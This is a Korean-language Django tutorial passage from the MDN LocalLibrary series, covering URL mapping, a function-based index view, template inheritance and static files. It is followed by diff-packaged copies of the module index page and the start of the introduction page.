지금까지는 우리의 모델을 정의하고 약간의 초기 도서관 레코드들을 만들어 왔고, 이제는 사용자에게 정보를 제공하기 위한 코드를 작성할 때입니다. 첫 번째 우리가 할 일은 우리의 페이지에서 어떤 정보를 보여줄 것인지를 결정하고, 그 요소들을 반환하는 데 사용되는 URL들을 정의하는 것입니다. 다음으로 우리는 페이지를 나타내기 위한 URL 매퍼, views, 그리고 탬플릿들을 생성할 것입니다. 

+ +

 아래 다이어그램은 주요 데이터 흐름 그리고 HTTP 요청과 응답을 처리하는 데 필요한 요소들을 보여줍니다. 모델은 이미 구현되었기 떄문에, 우리가 생성할 주요 요소들은 다음과 같습니다:

+ + + +

+ +

 우리가 표시해야 할 페이지는 총 다섯 페이지입니다. 하나의 글에 담기에는 너무 많은 정보죠. 따라서, 이 글의 대부분은 홈 페이지를 어떻게 구현하는 지에 대해 집중하고, 다음 글에서 다른 페이지들에 대해 다루겠습니다. 이렇게 하면 URL 매퍼들, view들, 그리고 모델이 실제로 작동하는 방식에 대해 완벽하고 철저하게 이해할 수 있을 것입니다.

+ +

resource URLs 정의하기

+ +

이 버전의 LocalLibrary는 근본적으로 최종 사용자들에게는 읽기 전용이기 때문에, 우리는 사이트의 방문 페이지(홈 페이지) 그리고 책들과 저자들에 대한 목록 및 세부 view들을 보여주는 페이지만 제공하면 됩니다. 

+ +

우리의 페이지들을 위해 필요한 URL들은:

+ + + +

처음 세 개의 URL들은 인덱스 페이지, 책 목록, 그리고 저자 목록을 반환합니다. 이것들은 아무런 추가적인 정보도 인코드하지 않고, 데이터베이스에서 데이터를 가져오는 쿼리들도 항상 똑같습니다. 그러나, 쿼리들이 반환할 결과들은 데이터베이스의 내용물에 따라 다를 것입니다.

+ +

그에 반해서 마지막 두 개의 URL들은 특정한 책 또는 저자에 대한 세부 정보를 나타낼 것입니다. 이 URL들은 표시할 항목의 ID를 인코딩합니다(위에서 <id> 로 표시). URL 매퍼는 인코딩된 정보를 추출하여 view로 전달합니다. 그리고 view는 데이터베이스에서 무슨 정보를 가져올지 동적으로 결정합니다. URL의 정보를 인코딩하여 우리는 모든 책들(또는 저자들)을 처리하기 위해 단일 모임의 url 매핑, 뷰, 탬플릿을 사용할 것입니다. 

+ +
+

주의: 장고를 이용해서 당신이 필요로 하는 대로 URL들을 만들 수 있습니다 — 위와 같이 URL의 본문(body)에 정보를 인코딩할 수도 있고, 또는 URL 안에 GET 매개 변수들을 포함시킬 수 있습니다(예: /book/?id=6). 어떤 방식이건 URL들은 깨끗하고, 논리적이고, 읽기 쉬워야 합니다. (check out the W3C advice here).
+ 장고 문서는 더 나은 URL 설계(design)를 위해 URL의 본문(body)에 정보를 인코딩하는 것을 권장합니다.

+
+ +

개요에서 다룬 것 처럼, 이 글의 나머지는 색인(index) 페이지를 만드는 방법을 보여줍니다.

+ +

index page 만들기

+ +

우리가 만들 첫 번째 페이지는 index page입니다 (catalog/). index 페이지는 데이터베이스 안의 서로 다른 레코드들의 생성된 "개수(count)" 와 함께 몇 가지 정적 HTML을 포함합니다. 이것이 작동하도록 하기 위해서 우리는 URL 매핑, 뷰 그리고 탬플릿을 생성하겠습니다. 

+ +
+

주의:이 섹션에 조금 더 집중해 봅시다. 대부분의 정보들이 우리가 생성할 다른 페이지들에도 적용되기 때문입니다.

+
+ +

URL 매핑

+ +

skeleton website를 만들었을 때, 우리는 locallibrary/urls.py 파일을 업데이트했습니다. catalog/로 시작하는 URL을 받았을 때, URLConf 모듈인 catalog.urls 가 나머지 문자열을 처리하도록 하기 위해서죠.

+ +

locallibrary/urls.py 의 아래 코드 조각은 catalog.urls 모듈을 포함합니다:

+ +
urlpatterns += [
+    path('catalog/', include('catalog.urls')),
+]
+
+ +
+

 주의: 장고는 import 함수 django.urls.include()를 만날 때 마다 지정된 마지막 문자에서 문자열을 나누고, 나머지 부분 문자열을 추가 작업을 위해 포함된 URLconf 모듈로 보냅니다.

+
+ +

우리는 또한 /catalog/urls.py로 이름지어진 URLConf 모듈을 위한 자리 표시자(placeholder) 파일도 생성했습니다. 그 파일에 아래 줄을 추가하세요

+ +
urlpatterns = [
+    path('', views.index, name='index'),
+]
+ +

이 path() 함수는 아래를 정의합니다 : 

+ + + +

이 path() 함수는 또한 name 매개 변수를 지정합니다. 그것은 이 특정한 URL 매핑을 위한 고유 ID 입니다. 당신은 이 이름을 매퍼를 "반전" 시킬 수 있습니다. 즉, 매퍼가 처리하도록 설계된 리소스를 향하는 URL을 동적으로 생성하기 위해서죠. 예를 들자면, 우리는 아래 링크를 탬플릿에 추가해서 이름 매개 변수를 사용하여 다른 모든 페이지에서 홈 페이지로 링크를 걸 수 있습니다:

+ +
<a href="{% url 'index' %}">Home</a>.
+ +
+

주의: 우리는 위 링크를 하드코딩할 수 있지만(예: <a href="/catalog/">Home</a>), 그렇게 하면 만약에 우리가 홈페이지를 바꿨을 때 (예: /catalog/index로 바꿨을 때) 탬플릿들은 더이상 알맞게 링크되지 않습니다. 반전된 url 매핑을 사용하는 것이 훨씬 유연하고 강력합니다.

+
+ +

View (함수-기반의)

+ +

뷰는 HTTP 요청을 처리하고, 데이터베이스에서 요청된 데이터를 가져오고, HTML 탬플릿을 이용해서 데이터를 HTML 페이지에 렌더링하고 그리고 생성된 HTML을 HTTP 응답으로 반환하여 사용자들에게 페이지를 보여주는 함수입니다. 색인(index) 뷰는 이 구조(model)를 따라갑니다 — 이것은 데이터베이스 안에 있는Book, BookInstance, 사용 가능한 BookInstance 그리고 Author 레코드들의 개수에 대한 정보를 가져오고, 그 정보를 디스플레이(display)를 위해 탬플릿으로 전달합니다.

+ +

catalog/views.py 를 열어서, 파일이 이미 탬플릿과 데이터를 이용해 HTML 파일을 생성하는 render() 바로가기 함수를 포함(import)하고 있음을 확인하세요.

+ +
from django.shortcuts import render
+
+# Create your views here.
+
+ +

 파일의 하단에 아래 코드를 복사 붙여넣기 하세요.

+ +
from catalog.models import Book, Author, BookInstance, Genre
+
+def index(request):
+    """View function for home page of site."""
+
+    # Generate counts of some of the main objects
+    num_books = Book.objects.all().count()
+    num_instances = BookInstance.objects.all().count()
+
+    # Available books (status = 'a')
+    num_instances_available = BookInstance.objects.filter(status__exact='a').count()
+
+    # The 'all()' is implied by default.
+    num_authors = Author.objects.count()
+
+    context = {
+        'num_books': num_books,
+        'num_instances': num_instances,
+        'num_instances_available': num_instances_available,
+        'num_authors': num_authors,
+    }
+
+    # Render the HTML template index.html with the data in the context variable
+    return render(request, 'index.html', context=context)
+ +

첫번째 줄은 우리의 모든 뷰들 안에서 데이터에 접근하는 데 사용할 모델 클래스들을 포함(import)합니다.

+ +

view 함수의 첫번째 부분은 모델 클래스들에서 objects.all() 속성을 사용하는 레코드들의 개수를 가져옵니다. 이 함수는 또한 상태 필드에서 'a'(Available) 값을 가지고 있는 BookInstance 객체들의 목록도 가져옵니다. 이전 튜토리얼에서 모델 데이터에 접근하는 방법에 대한 더 많은 정보를 찾을 수 있습니다 : Django Tutorial Part 3: Using models > Searching for records.

+ +

view 함수의 마지막에선 HTML 페이지를 생성하고 이 페이지를 응답으로서 반환하기 위해 render() 함수를 호출합니다. 이 바로가기(shortcut) 함수는 아주 일반적으로 사용되는 경우들을 간단히 하기 위해 여러 다른 함수들을 포함합니다. render() 함수는 아래 매개 변수들을 허용합니다:

+ + + +

다음 섹션에서 탬플릿과 context 변수에 대해 더 다루도록 하겠습니다. 이제 탬플릿을 생성하여 사용자들에게 실제로 무언가를 표시해 봅시다!

+ +

탬플릿(Template)

+ +

탬플릿은 파일(HTML 페이지 같은)의 구조(structure)나 배치(layout)을 정의하는 텍스트 파일입니다. 탬플릿은 실제 내용물(content)를 나타내기 위해 플레이스홀더(placeholder)들을 사용합니다. 장고는 당신의 어플리케이션 안에서 'templates' 라고 이름지어진 경로 안에서 자동적으로 탬플릿들을 찾을 것입니다. 예를 들어서, 우리가 방금  추가한 색인(index) 뷰 안에서, render() 함수는 /locallibrary/catalog/templates/ 경로 안에서 index.html 파일을 찾으려 할 것이고, 파일이 없다면 에러를 표시할 것입니다. 이것은 이전의 변경점들을 저장하고 브라우저에서 127.0.0.1:8000으로 접근해서 확인할 수 있습니다 - 이것은 다른 세부 사항들과 함께 상당히 직관적인 오류 메세지를 표시할 것입니다 : "TemplateDoesNotExist at /catalog/".

+ +
+

주의: 프로젝트의 settings 파일에 기초해서, 장고는 여러 장소에서 탬플릿들을 찾아볼 것입니다. 기본적으로는 설치된 어플리케이션에서 검색합니다. 장고가 어떻게 탬플릿들을 찾는지, 그리고 어떤 탬플릿 양식(format)들을 지원하는지에 관해 여기(Templates (Django docs))에서 찾아볼 수 있습니다.

+
+ +

탬플릿 확장(extend)하기

+ +

 색인(index) 팀플릿은 head 및 body를 위해 표준 HTML 마크업이 필요할 것입니다. 우리가 아직 생성하지 않은 사이트들의 다른 페이지들을 향한 링크를 걸기 위한 탐색(navigation) 섹션도 필요하고요. 그리고 소개 텍스트 및 책 데이터를 표시하는 섹션 또한 필요합니다. 대부분의 HTML과 탐색 구조는 사이트의 모든 페이지에서 동일할 것입니다. 모든 페이지마다 똑같은 코드를 복사하는 대신, 기본 템플릿을 선언하기 위해 장고 탬플릿 언어(Django templating language)를 사용하고, 탬플릿을 확장하여 각각의 페이지 마다 다른 부분들만을 대체(replace)할 수 있습니다.

+ +

아래 코드 조각은 base_generic.html 파일의 기본 탬플릿 샘플입니다. 이 샘플은 제목, 사이드바를 위한 섹션과 이름이 지정된 blockendblock 탬플릿 태그(굵게 표시)가 마크된 주요 내용(main contents)들이 포함된 일반적인 HTML을 포함합니다. 블럭(block)들을 비워두거나, 또는 탬플릿에서 파생된 페이지들을 렌더링할 때 사용할 기본 내용을 포함할 수 있습니다.

+ +
+

주의: 탬플릿 태그들은 목록을 반복하거나, 변수 값을 기반으로 조건부 연산을 수행하거나, 여타 다른 일들을 할 수 있는 함수입니다. 탬플릿 태그 외에도 탬플릿 구문(syntax)을 사용하면 view에서 탬플릿으로 전달된 변수들을 참조할 수 있고, 탬플릿 필터(filters)를 사용해서 변수의 형식을 지정할 수 있습니다(예를 들어, 문자열을 소문자로 변환).

+
+ +
<!DOCTYPE html>
+<html lang="en">
+<head>
+  {% block title %}<title>Local Library</title>{% endblock %}
+</head>
+<body>
+  {% block sidebar %}<!-- insert default navigation text for every page -->{% endblock %}
+  {% block content %}<!-- default content text (typically empty) -->{% endblock %}
+</body>
+</html>
+
+ +

  특정한 view를 위해 탬플릿을 정의할 땐, 먼저 extends 탬플릿 태그를 이용하여 기본 탬플릿을 지정합니다 — 아래 코드 샘플을 참조하세요. 그리고 나서 기본 탬플릿에서와 같이 block/endblock 섹션들을 이용해서 대체할 탬플릿의 섹션들을 선언합니다(있을 경우). 

+ +

예를 들어, 아래 코드 조각은 extends 탬플릿 태그의 사용 및 content 블럭(block)을 재정의하는 방법을 보여줍니다. 생성된 HTML은 기본 탬플릿에서 정의된 코드와 구조를 포함할 것입니다(title 블럭에서 정의한 기본 내용은 포함하지만, 기본 contents 블럭 대신 새로운 contents 블럭 포함).

+ +
{% extends "base_generic.html" %}
+
+{% block content %}
+  <h1>Local Library Home</h1>
+  <p>Welcome to LocalLibrary, a website developed by <em>Mozilla Developer Network</em>!</p>
+{% endblock %}
+ +

LocalLibrary 기본 탬플릿

+ +

우리는 아래 코드 조각을 LocalLibrary 웹사이트의 베이스 탬플릿으로 사용할 것입니다. 보시는 바와 같이, 이것은 HTML 코드를 조금 포함하고 title, sidebar 그리고 content 블럭을 정의합니다. 우리는 기본 제목과 모든 책들 및 저자들에 대한 링크를 갖고 있는 기본 사이드바를 갖고 있습니다. 둘 다 미래에 쉽게 변경하기 위해 블럭들 안에 묶여 있습니다.

+ +
+

주의: 우리는 또한 두 개의 추가적인 탬플릿 태그를 소개합니다: url 과 load static. 이 태그들은 아래 섹션들에서 설명될 것입니다.

+
+ +

새로운 파일 base_generic.html 을 /locallibrary/catalog/templates/base_generic.html 경로 안에 생성해서 아래 코드를 파일에 복사 붙여넣기 하세요:

+ +
<!DOCTYPE html>
+<html lang="en">
+<head>
+  {% block title %}<title>Local Library</title>{% endblock %}
+  <meta charset="utf-8">
+  <meta name="viewport" content="width=device-width, initial-scale=1">
+  <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css" integrity="sha384-MCw98/SFnGE8fJT3GXwEOngsV7Zt27NXFoaoApmYm81iuXoPkFOJwJ8ERdknLPMO" crossorigin="anonymous">
+  <!-- Add additional CSS in static file -->
+  {% load static %}
+  <link rel="stylesheet" href="{% static 'css/styles.css' %}">
+</head>
+<body>
+  <div class="container-fluid">
+    <div class="row">
+      <div class="col-sm-2">
+      {% block sidebar %}
+        <ul class="sidebar-nav">
+          <li><a href="{% url 'index' %}">Home</a></li>
+          <li><a href="">All books</a></li>
+          <li><a href="">All authors</a></li>
+        </ul>
+     {% endblock %}
+      </div>
+      <div class="col-sm-10 ">{% block content %}{% endblock %}</div>
+    </div>
+  </div>
+</body>
+</html>
+ +

탬플릿에는 HTML 페이지의 레이아웃과 프리젠테이션을 개선하기 위한 Bootstrap 의 CSS가 포함되어 있습니다. 부스트스트랩(또는 다른 클라이언트-사이드 웹 프레임워크)를 사용해서 서로 다른 크기의 화면에서도 잘 표시되는 매력적인 페이지를 빠르게 만들 수 있습니다.

+ +

또한 기본 탬플릿은 추가적인 꾸미기(styling)를 제공하는 로컬 css 파일(styles.css)을 참조합니다. styles.css 파일을 /locallibrary/catalog/static/css/ 경로 안에 생성하고 아래 코드를 파일 안에 복사 붙여넣기 하세요:

+ +
.sidebar-nav {
+    margin-top: 20px;
+    padding: 0;
+    list-style: none;
+}
+ +

색인(index) 탬플릿

+ +

 새로운 HTML 파일 index.html/locallibrary/catalog/templates/ 경로 안에 생성해서 아래 코드를 파일 안에 복사 붙여넣기 하세요. 보시는 바와 같이 첫째 행에서 우리의 기본 탬플릿을 확장하고, 탬플릿의 기본 content 블럭을 새로운 블럭으로 대체합니다. 

+ +
{% extends "base_generic.html" %}
+
+{% block content %}
+  <h1>Local Library Home</h1>
+  <p>Welcome to LocalLibrary, a website developed by <em>Mozilla Developer Network</em>!</p>
+  <h2>Dynamic content</h2>
+  <p>The library has the following record counts:</p>
+  <ul>
+    <li><strong>Books:</strong> \{{ num_books }}</li>
+    <li><strong>Copies:</strong> \{{ num_instances }}</li>
+    <li><strong>Copies available:</strong> \{{ num_instances_available }}</li>
+    <li><strong>Authors:</strong> \{{ num_authors }}</li>
+  </ul>
+{% endblock %}
+ +

동적 콘텐츠 섹션에서 우리는 우리가 포함하고 싶은 view의 정보를 위한 플레이스홀더(탬플릿 변수)를 선언합니다. 이 변수들은 코드 샘플에서 굵게 표시된 것과 같이 이중 중괄호로(핸들 바)로 묶입니다.

+ +
+

주의: 탬플릿 변수와 탬플릿 태그(함수)들을 쉽게 알 수 있습니다 - 변수들은 이중 중괄호로 감싸여져 있고(\{{ num_books }}) , 태그들은 퍼센트 기호와 단일 중괄호로 감싸여 있습니다({% extends "base_generic.html" %}).

+
+ +

여기서 주의해야 할 중요한 것은 변수들의 이름은 열쇠(key)들로 정해진다는 것입니다. 이 열쇠(key)들은 우리의 view의 render()함수 안의 context 사전(dictionary)로 전달하는 열쇠입니다(아래를 확인하세요). 변수들은 탬플릿이 렌더링 될 때 그것들과 연관된 값들로 대체될 것입니다.  

+ +
context = {
+    'num_books': num_books,
+    'num_instances': num_instances,
+    'num_instances_available': num_instances_available,
+    'num_authors': num_authors,
+}
+
+return render(request, 'index.html', context=context)
+ +

Templates 에 정적 파일 참조하기(referencing)

+ +

당신의 프로젝트는 자바스크립트, CSS 그리고 이미지를 포함하는 정적 리소스들을 사용할 가능성이 높습니다. 이 파일들의 위치가 알 수 없기 때문에(또는 바뀔 수 있기 때문에), 장고는 STATIC_URL 전역 설정을 기준으로 탬플릿에서의 위치를 특정할 수 있도록 합니다. 기본 뼈대 웹사이트(skeleton website)는 STATIC_URL의 값을 '/static/'으로 설정하지만, 당신은 이것들을 콘텐츠 전달 네트워크(content delivery network)나 다른 곳에서 호스트할 수도 있습니다.

+ +

아래 코드 샘플처럼, 탬플릿 안에서 당신은 먼저 탬플릿 라이브러리를 추가하기 위해 "static"을 지정하는 load 탬플릿 태그를 호출합니다. 그러고 나서 static 탬플릿 태그를 사용할 수 있고 관련 URL을 요구되는 파일에 지정할 수 있습니다.

+ +
<!-- Add additional CSS in static file -->
+{% load static %}
+<link rel="stylesheet" href="{% static 'css/styles.css' %}">
+ +

비슷한 방법으로 이미지를 페이지에 추가할 수 있습니다. 예를 들어:

+ +
{% load static %}
+<img src="{% static 'catalog/images/local_library_model_uml.png' %}" alt="UML diagram" style="width:555px;height:540px;">
+
+ +
+

 주의: 위의 샘플은 파일들의 위치를 특정하지만, 장고는 기본적으로 파일을 제공하지 않습니다. 우리는 우리가 웹사이트 뼈대를 생성했을 때(created the website skeleton) 전역 URL 매퍼(/locallibrary/locallibrary/urls.py)를 수정하여 개발 웹 서버가 파일을 제공하도록 설정했습니다만, 제품화되었을(in production)때도 파일을 제공할 수 있어야 합니다. 이것에 관해 차후에 다루겠습니다.

+
+ +

 정적 파일들로 작업하는 것에 대한 더 많은 정보는 장고 문서 안의 Managing static files 를 참고하세요.

+ +

URL 링크하기(Linking to URLs)

+ +

위의 기본 탬플릿은 url 탬플릿 태그를 소개했습니다.

+ +
<li><a href="{% url 'index' %}">Home</a></li>
+
+ +

 이 태그는 urls.py에서 호출된 path() 함수의 이름 및 연관된 view가 그 함수에서 수신받을 모든 인자들을 위한 값들을 허용하고, 리소스에 링크하는 데 사용할 수 있는 URL을 반환합니다 .

+ +

탬플릿을 찾을 수 있는 곳 설정하기

+ +

탬플릿 폴더 안에서 탬플릿을 찾아볼 수 있도록 장고에게 위치를 가르쳐 주어야 합니다. 그것을 하기 위해서, 아래 코드 샘플에 굵게 표시된 것 처럼 settings.py 파일을 수정하여 TEMPLATES 객체에 templates 경로(dir)를 추가하세요.

+ +

 

+ +
TEMPLATES = [
+    {
+        'BACKEND': 'django.template.backends.django.DjangoTemplates',
+        'DIRS': [
+            os.path.join(BASE_DIR, 'templates'),
+        ],
+        'APP_DIRS': True,
+        'OPTIONS': {
+            'context_processors': [
+                'django.template.context_processors.debug',
+                'django.template.context_processors.request',
+                'django.contrib.auth.context_processors.auth',
+                'django.contrib.messages.context_processors.messages',
+            ],
+        },
+    },
+]
+ +

 

+ +

어떻게 보일까요?

+ +

이 시점에서 우리는 색인(index) 페이지를 나타내기 위해 필요한 모든 요소들을 생성했습니다. 서버를 실행하고 (python3 manage.py runserver) 브라우저에서 http://127.0.0.1:8000/으로 이동하세요. 모든 것이 알맞게 설정되었다면, 당신의 사이트는 아래 스크린샷과 같이 보여야 합니다.

+ +

Index page for LocalLibrary website

+ +
+

주의: All books와 All authors 링크들에 대한 경로, 뷰 그리고 탬플릿들이 정의되지 않았기 때문에 그 링크들은 작동하지 않을 것입니다. 우리는 단지 base_generic.html 탬플릿 안에 그 링크들을 위한 플레이스홀더(placeholder)들을 삽입했을 뿐입니다.

+
+ +

도전 과제

+ +

모델 쿼리, 뷰 그리고 탬플릿들과의 친밀함을 시험할 수 있는 두 가지 임무가 있습니다. 

+ +
    +
  1. LocalLibrary 기본 탬플릿(base template)에는 title 블록이 정의되어 있습니다. 색인 탬플릿(index template) 안에 이 블록을 덮어쓰기하고 페이지를 위한 새로운 제목을 만들어 보세요. + +
    +

    힌트: Extending templates 섹션은 블럭(block)을 생성하고 다른 탬플릿에서 블럭을 확장(extend)하는 방법을 설명합니다.

    +
    +
  2. +
  3. 대소문자 구분 없이 특정한 단어를 포함하는 장르와 책들의 개수(count)를 생성하도록 view 를 수정하고, 결과를 context에 전달해 보세요. 이것은 num_booksnum_instances_available을 생성하고 사용하는 것과 비슷한 방법으로 달성할 수 있습니다. 그리고 나서 이 변수들을 포함시키기 위해 index template 를 업데이트 하세요.
    +  
  4. +
+ + + +

요약

+ +

이제 우리의 사이트를 위한 홈 페이지를 생성했습니다 — 데이터베이스의 여러 레코드들을 표시하고 아직 생성되지 않은 페이지로 링크하는 HTML 페이지 입니다. 그 과정에서 우리는 url 매퍼, view, 모델을 이용한 데이터베이스 쿼리, view에서 탬플릿으로의 정보 전달 그리고 탬플릿의 생성과 확장에 관한 기본적인 정보를 배웠습니다.

+ +

다음 글에서는 이 지식들을 토대로 우리 웹사이트의 나머지 네 개의 페이지들을 생성할 것입니다.

+ +

See also

+ + + +

{{PreviousMenuNext("Learn/Server-side/Django/Admin_site", "Learn/Server-side/Django/Generic_views", "Learn/Server-side/Django")}}

+ +

 

+ +

In this module

+ + + +

 

diff --git a/files/ko/learn/server-side/django/index.html b/files/ko/learn/server-side/django/index.html new file mode 100644 index 0000000000..2545082955 --- /dev/null +++ b/files/ko/learn/server-side/django/index.html @@ -0,0 +1,65 @@ +--- +title: Django 웹 프레임워크 (파이썬) +slug: Learn/Server-side/Django +tags: + - 서버 사이드 프로그래밍 + - 장고 + - 초보자 + - 파이썬 +translation_of: Learn/Server-side/Django +--- +
{{LearnSidebar}}
+ +

Django는 파이썬으로 구성된, 인기 많고 완벽한 기능을 갖춘 서버-사이드 웹 프레임워크입니다. 이 모듈은 Django가 웹 서버 프레임워크 중 가장 유명한 이유, 개발환경을 설정하는 방법, 그리고 이를 통해 자신만의 웹 애플리케이션을 만드는 방법을 알려줍니다. 

+ +

전제조건

+ +

이 모듈을 시작하기에 앞서, 당신이 Django에 대해 미리 알 필요는 전혀 없습니다. 하지만 Server-side website programming first steps 모듈을 보면서 과연 서버-사이드 웹 프로그래밍과 웹 프레임워크가 무엇인가에 대해서는 이해 할 필요가 있습니다.

+ +

프로그래밍 개념 그리고 Python에 대한 일반적인 지식을 공부하는 것은 권장합니다. 하지만 이것이 Django의 핵심 개념을 이해하는데 반드시 필요한 것은 아닙니다.

+ +
+

노트: Python은 초보자가 읽고 이해할 수 있는 가장 쉬운 프로그래밍 언어 중 하나 입니다. 즉, 만약 당신이 이 모듈을 더 깊이 이해하고 싶다면, 인터넷에서 많은 무료 서적과 자습서들을 이용할 수 있습니다. ( 초보 프로그래머들은 python.org wiki 에서 Python for Non Programmers 페이지를 확인해도 좋습니다.).

+
+ +

가이드

+ +
+
Django 소개
+
이 문서에서는 "Django란 무엇인가?"  라는 물음에 답을 합니다. 그리고 이 웹 프레임워크를 특별하게 만드는 요소에 대해 대략적으로 살펴볼 것입니다. 우리는 여기서  Django의 주요 특징들 (자세히 설명할 시간은 없는 심화된 기능들 포함) 을 훑어볼 것입니다. 또한 Django 애플리케이션의 주요 구성 요소들 중 일부를 보여줍니다. 따라서 당신이 Django 애플리케이션을 설정하고 시작하기 전에, 우리는 Django가 무슨 일을 해 줄 수 있는지에 대해 알려줄 것입니다. 
+
Django 개발 환경 설정
+
이제 Django가 무엇인지 알았으므로 Windows, Linux (Ubuntu) 및 Mac OS X에서 Django 개발 환경을 설정하고 테스트하는 방법을 살펴봅시다. 이 문서에서는 당신이 어떠한 운영 체제를 사용하든지 상관없습니다. 우리는 당신이 Django로 앱 개발을 시작하기 전에 필요한 것을 마땅히 알려줘야 합니다. 
+
Django Tutorial: The Local Library website
+
이 (실용적) 튜토리얼의 첫번째 문서에서는 앞으로 무엇을 배울지 알아봅니다. -  우리가 후속 문서에서 계속 작업하고 개발해 나갈 "로컬 저장소" 의 예제 웹사이트를 살펴봅니다.
+
Django Tutorial Part 2: Creating a skeleton website
+
이 수업에서는 웹사이트의 기본인 "뼈대"를 만드는 방법을 살펴봅니다. 그런 다음 사이트별로 settings, urls, models, views, templates 을 사용하여 채워 넣을 것입니다.
+
Django Tutorial Part 3: Using models
+
이 수업에서는 로컬 저장소 웹사이트에서 모델을 저장하는 방법에 대해 알아봅니다. 모델이란 웹 앱의 자료구조를 나타내며, Django의 데이터 베이스에 데이터를 저장할 수 있도록 해줍니다. 여기서는 모델이 무엇인지, 어떻게 선언하는지, 그리고 몇몇 중요한 필드 타입도 살펴볼 것입니다. 그리고 모델 데이터에 접근하는 몇가지 주요 방법도 간단하게 알아봅니다. 
+
Django Tutorial Part 4: Django admin site
+
앞에서 로컬라이브러리 웹사이트의 모델을 생성했다면, 이제는 Django 관리자 사이트를 사용해서 "실제" 책 데이터를 추가할 차례입니다. 먼저 관리자 사이트에 모델에 등록하는 방법을 보여줄 것입니다. 그 다음에 로그인 하고 데이터를 생성하는 방법도 배울 것입니다. 마지막 순서에서는 관리자 사이트의 PT를 향상시키는 더 많은 방법도 알아볼 것입니다. 
+
Django Tutorial Part 5: Creating our home page
+
이제 우리는 처음으로 완성된 페이지(홈페이지 개념으로 모델 종류를 기록하고 사이드바나 다른 페이지의 링크들이 있음)를 표시하기 위한 코드를 입력할 준비가 되었습니다. 이 방법을 통해 기본적인 URL 맵이나 뷰를 작성하고, 데이터베이스에 기록하고, 템플릿을 사용하는 실용적인 경험을 얻을 것입니다. 
+
Django Tutorial Part 6: Generic list and detail views
+
이 수업에서는 우리가 만든  local library의 웹사이트를 확장해 볼 것입니다. 목록, 책이나 저자 정보를 담은 자세한 페이지들을 추가할 것입니다. 여기서는 일반적인 클래스 기반의 view를 배우고 보통 상황에서 어떻게 코드의 양을 줄일 수 있는지 살펴볼 것입니다. 우리는 또한 URL 핸들링에 대해 정말 자세히 들어가서, 기본적인 패턴 매칭을 어떻게 해야 하는지도 볼 것입니다. 
+
Django Tutorial Part 7: Sessions framework
+
여기서는 우리가 만든 로컬 라이브러리의 웹사이트에 '세션 기반 방문자 수 계산기' 를 홈페이지에 추가할 것입니다. 이것은 비교적 간단한 예제입니다. 하지만 귀하는 이 예제를 통해, 세션 프레임워크를 사용해서 어떻게 사이트에 방문하는 이름없는 사용자들의 반복적인 행동을 볼 수 있는지 (그 방법을) 알 수 있습니다. 
+
Django Tutorial Part 8: User authentication and permissions
+
이 수업에서는 유저들에게 그들의 계정으로 웹사이트에 로그인 하게 하는 방법에 대해 배웁니다. 그리고 로그인 상태에 따라 그들이 보고 작성할 수 있는 범위를 통제하는 방법, 그들에게 허가를 내주는 방법을 배웁니다. 우리는 연습을 위해서 로컬 라이브러리 웹사이트를 확장해 볼 것입니다. 로그인 및 로그아웃 페이지를 추가하고, 대출 도서를 보여주는 페이지를 사용자용, 관리자용 각각 따로 만들어 볼 것입니다. 
+
Django Tutorial Part 9: Working with forms
+
여기서는 Django에서 HTML Forms을 어떻게 사용하는 살펴볼 것입니다. HTML은 특히 모델을 생성하고, 갱신하고, 지우는 등의 폼을 작성하는 가장 쉬운 방법입니다. 이번 연습에서는 로컬 라이브러리의 웹사이트를 확장하는 것도 포함되어 있습니다. 여기서 우리는 도서관 사서들이 (관리자 어플리케이션 보다는) 우리가 작성한 폼을 이용해서 책을 고치고, 생성하고, 업데이트하고 정보를 삭제할 수 있도록 웹사이트를 확장해 볼 것입니다. 
+
Django Tutorial Part 10: Testing a Django web application
+
웹사이트가 확장되어감에 따라 일일이 확인하기가 점점 어려워질 것입니다. 테스트해야할 요소 자체가 많아질 뿐만 아니라 요소간의 상호관계도 복잡해지면서 작은 요소의 변화가 다른 큰 요소들에까지 영향을 미치게됩니다.  이런 문제에 대한 걱정을 덜어줄 수 있는 방법은 자동 테스트 코드를 작성하는 것입니다. 자동 테스트 코드는 소스에 변화가 생길때마다 작동하는 코드입니다. 이번 강좌에서는 성능이 우수하면서도 작성이 간단한 Django의 테스트 프레임워크로 어떻게 당신의 웹사이트를 단위 테스트할수 있는지 알아봅니다.
+
Django Tutorial Part 11: Deploying Django to production
+
이제 당신은 훌륭한 로컬저장소 웹사이트를 만들었으니, 로컬저장소가 아닌 공개 서버에 업로드 함으로써 인터넷을 통해 관리자와 사용자들이 접근할 수 있도록 하고싶을 겁니다. 이 수업에서는 호스트 업체를 찾고 웹사이트를 등록하는 방법과 사이트에 상품가치를 부여하는 방법을 알아봅니다.
+
Django web application security
+
사용자의 데이터를 보호하는 것은 웹사이트 디자인에서 중요한 부분입니다. 이전에 Web security 수업에서 일반적인 보안 위협들에 대해 알아보았습니다. 이번 항목에서는 Django에 내장된  보호 시스템이 이런 위협을 어떻게 처리하는지 실질적인 예시에 대해 살펴봅니다. 
+
+ +

평가

+ +

밑에 제시되어있는 평가는 위에 설명 된 대로, 장고(Django)를 사용하여 웹 사이트를 만드는 방법에 대한 이해도를 테스트합니다.

+ +
+
DIY Django 미니 블로그
+
이 평가에서, 귀하는 여기서 배운 지식을 활용해서 자신만의 블로그를 만들 수 있습니다. 
+
diff --git a/files/ko/learn/server-side/django/introduction/index.html b/files/ko/learn/server-side/django/introduction/index.html new file mode 100644 index 0000000000..f8034af90e --- /dev/null +++ b/files/ko/learn/server-side/django/introduction/index.html @@ -0,0 +1,256 @@ +--- +title: Django 소개 +slug: Learn/Server-side/Django/Introduction +tags: + - 장고 +translation_of: Learn/Server-side/Django/Introduction +--- +

{{LearnSidebar}}

+ +
{{NextMenu("Learn/Server-side/Django/development_environment", "Learn/Server-side/Django")}}
+ +

Django의 첫번째 문서에서는 "Django가 뭐지?"라는 질문에 답해보고, Django 웹 프레임워크의 특별한 부분에 대해 전반적으로 살펴봅니다. 우리가 이 수업에서 자세히 다루지는 않을 고급 기능들까지 포함하여 간단하게 전반적인 부분을 살펴 볼겁니다. 또한, Django 애플리케이션을 구성하는 중요한 요소도 살펴보겠습니다. (물론 지금 시점에서는 테스트를 할 개발환경을 가지고 있지 않겠지만요.)

+ + + + + + + + + + + + +
요구 사항기본적인 컴퓨터 지식.  server-side website 프로그래밍에 대한 전반적인 이해, 그리고 웹사이트의 client-server interactions 의 매커니즘에 대한 특정한 지식.
목표 +

